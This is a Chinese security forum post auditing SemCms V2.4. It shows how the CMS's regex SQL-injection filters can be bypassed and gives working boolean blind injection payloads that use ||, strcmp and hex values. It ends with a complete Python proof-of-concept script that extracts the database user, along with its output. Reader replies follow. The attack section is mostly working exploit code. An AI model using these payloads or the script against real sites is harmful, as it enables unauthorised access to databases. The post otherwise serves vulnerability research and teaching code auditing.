用户
搜索
  • TA的每日心情
    慵懒
    2016-9-1 13:31
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    17

    主题

    227

    帖子

    1346

    魔法币
    收听
    0
    粉丝
    7
    注册时间
    2016-7-31

    i春秋签约作者

    发表于 2017-12-27 16:59:58 83684
    本帖最后由 X_Al3r 于 2017-12-27 17:17 编辑

    Prat 0 自白

    最近考试忽略了博客的更新,这里给大家道个歉。
    本来是不像发的因为审计出来的时候发现春秋有老哥已经在审计了,然后并且发出来了
    不过我发现我下载的这个版本正则代码有些不同。
    然后就于是就分析一下好了。

    view.php

    看文件第6-7行代码

    include_once  './Include/web_inc.php';
    include_once  './Templete/default/Include/Function.php';

    可以看见,他是包含了两个文件,我们跟进看一下。

    /Templete/default/Include/Function.php

    看文件的9-32行代码

    $ID=verify_id(@htmlspecialchars($_GET["ID"]));              

    继续看文件的551行代码

    $query=mysql_query("select * from sc_products where ID =$ID ");

    可以看见,他先是从GET中获取ID参数,然后带入Sql语句查询。
    不过在获取参数的同时用了verify_id方法。
    我们跟进看一下。

    /Include/web_inc.php

    在view.php文件包含了以下文件。

    include_once  'db_conn.php'; //数据库连接
    include_once  'web_sql.php'; //sql防注入
    include_once  'web_config.php'; //网站配置
    include_once  'general_function.php'; //邮件发送配置与防注入

    OK,因为用的verify_id方法,所以我们跟进一下general_function.php文件。

    /Include/general_function.php

    function inject_check($sql_str) { // 防sql入注
        return preg_match('/select|insert|=|<|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i', $sql_str);
    } 
    function verify_id($ID) { 
       if(inject_check($ID)) { 
            exit('Sorry,You do this is wrong!');
        } 
        return $ID; 
    } 

    可以看见,这段正则代码明显是有缺陷的,不过在web_inc.php中同时包含了web_sql.php文件

    if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get
    if (isset($_COOKIE)){$CookArray=$_COOKIE;}else{$CookArray='';} //cookie
    foreach ($GetArray as $value){//get  
        verify_str($value) 
    }
    foreach ($CookArray as $value){ //cookie    
        verify_str($value);  
    }
    function inject_check_sql($sql_str) {   
         return preg_match('/select|insert|=|<|and|update|delete|\'|\/\*|\*|union|into|load_file|outfile/i',$sql_str);   
    } 
    function verify_str($str) { 
       if(inject_check_sql($str)) {      
            exit('Sorry,You do this is wrong! (.-.)');       
        } 
        return $str; 

    这边的正则也无非增加了一点点难度,可以发现利用布尔盲注入还是很好绕过去的。

    正则绕过

    首先我们在sql语句中肯定不能出现and这类关键字。
    所以我们需要想办法来进行一个代替。
    V@1n3R师傅的帮助下,我才知道还可以利用&&来代替and这种操作。

    Test 1 第一步payload

    payload:&& strcmp(left(user,1) 'r') like 0

    首先要注意,&&在url传值中会导致被认为是参数拼接,所以需要进行一下url编码

    payload1:%26%26 strcmp(left(user,1) 'r') like 0

    不过当时没仔细看代码,导致了出现了个梗。
    /Templete/default/Include/Function.php文件的第9行代码中
    他在获取参数的时候使用了htmlspecialchars函数,所以导致&&带入查询的时候会导致被实体编码
    所以查询不成功,当时要不是实在忍不住下了个seay审计工具的mysql监测,我还真不知道问题出在哪里。
    过滤单引号,hex编码下,最终payload

    payload:http://127.0.0.1/about.php?ID=1 || strcmp(left(user(),1), 0x72) rlike 0 //返回错误
    payload:http://127.0.0.1/about.php?ID=1 || strcmp(left(user(),1), 0x73) rlike 0 //返回正常

    漏洞利用

    因为比较麻烦,我就直接写了个脚本跑了,使用left函数的话会导致写poc变得更难(没逼格),于是使用了substr函数来代替。

    import requests
    sussess_str = "About us"
    url = "http://127.0.0.1/about.php?ID=1"
    #payload a-z 0-9 @的hex编码
    payload = ["0x61","0x62","0x63","0x64","0x65",
               "0x66","0x67","0x68","0x69","0x6a",
               "0x6b","0x6c","0x6d","0x6e","0x6f",
               "0x70","0x71","0x72","0x73","0x74",
               "0x75","0x76","0x77","0x78","0x79",
               "0x7a","0x40","0x30","0x31","0x32",
               "0x33","0x34","0x35","0x36","0x37",
               "0x38","0x39"
               ]
    user = ""
    print("             SemCms V2.4 Poc")
    print("                                 Author:Szrzvdny")
    print("[*] url:" + url)
    print("[*] 开始猜解user()")
    for b in range(len(payload)):
        for a in payload:
            sql_payload_user = " || strcmp(substr(user(),%s,1), 0x%s) rlike 0" % (b+1,a.replace("0x",""))
            res = requests.get(url + sql_payload_user).text
            res1 = requests.get(url).text
            #print(url + sql_payload_user)
            if len(res) != len(res1):
                user = user + a
                print("[*]info : 0x" + user.replace("0x","").upper())
                break

    返回结果为hex编码。
    测试结果:

                 SemCms V2.4 Poc
                                     Author:Szrzvdny
    [*] url:http://127.0.0.1/about.php?ID=1
    [*] 开始猜解user()
    [*]info : 0x72
    [*]info : 0x726F
    [*]info : 0x726F6F
    [*]info : 0x726F6F74
    [*]info : 0x726F6F7440
    [*]info : 0x726F6F74406C
    [*]info : 0x726F6F74406C6F
    [*]info : 0x726F6F74406C6F63
    [*]info : 0x726F6F74406C6F6361
    [*]info : 0x726F6F74406C6F63616C
    [*]info : 0x726F6F74406C6F63616C68
    [*]info : 0x726F6F74406C6F63616C686F
    [*]info : 0x726F6F74406C6F63616C686F73
    [*]info : 0x726F6F74406C6F63616C686F7374

    解码结果:root@localhost
    可能有人问,为啥要输出hex编码,因为这样逼格高。
    不然我为啥手动写hex编码0-9@a-z呢?

    本帖被以下淘专辑推荐:

    发表于 2017-12-27 17:24:25
    沙发,感谢表哥分享代码审计姿势
    http://blog.163.com/sy_butian/欢迎交流
    使用道具 举报 回复
    发表于 2017-12-27 17:34:07
    xiaoye 发表于 2017-12-27 17:24
    沙发,感谢表哥分享代码审计姿势

    就凭师傅这么看得起我,等我半个消失,我在给你发俩
    使用道具 举报 回复
    发表于 2017-12-27 17:54:33
    哈哈,感谢表哥分享代码审计姿势
    欢迎加入i春秋QQ群大家庭,每人只能任选加入一个群哦!投稿请加我QQ:286894635。
    i春秋白帽子军团:451217067
    i春秋-韩:556040588
    i春秋CTF交流学习群:234714762
    使用道具 举报 回复
    感谢表哥分享
    使用道具 举报 回复
    发表于 2017-12-28 09:55:36
    可以可以可以  
    小白~~~
    使用道具 举报 回复
    发表于 2017-12-28 10:13:15
    文章最后一行hex编码0-9@a-z,职业挑刺。
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发表于 2017-12-28 13:18:56
    学习了,原来这就是代码审计!
    使用道具 举报 回复
    发表于 2017-12-29 08:01:57
    学习了。                          
    QQ群:562305126   喜欢交流的朋友可以加一下。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册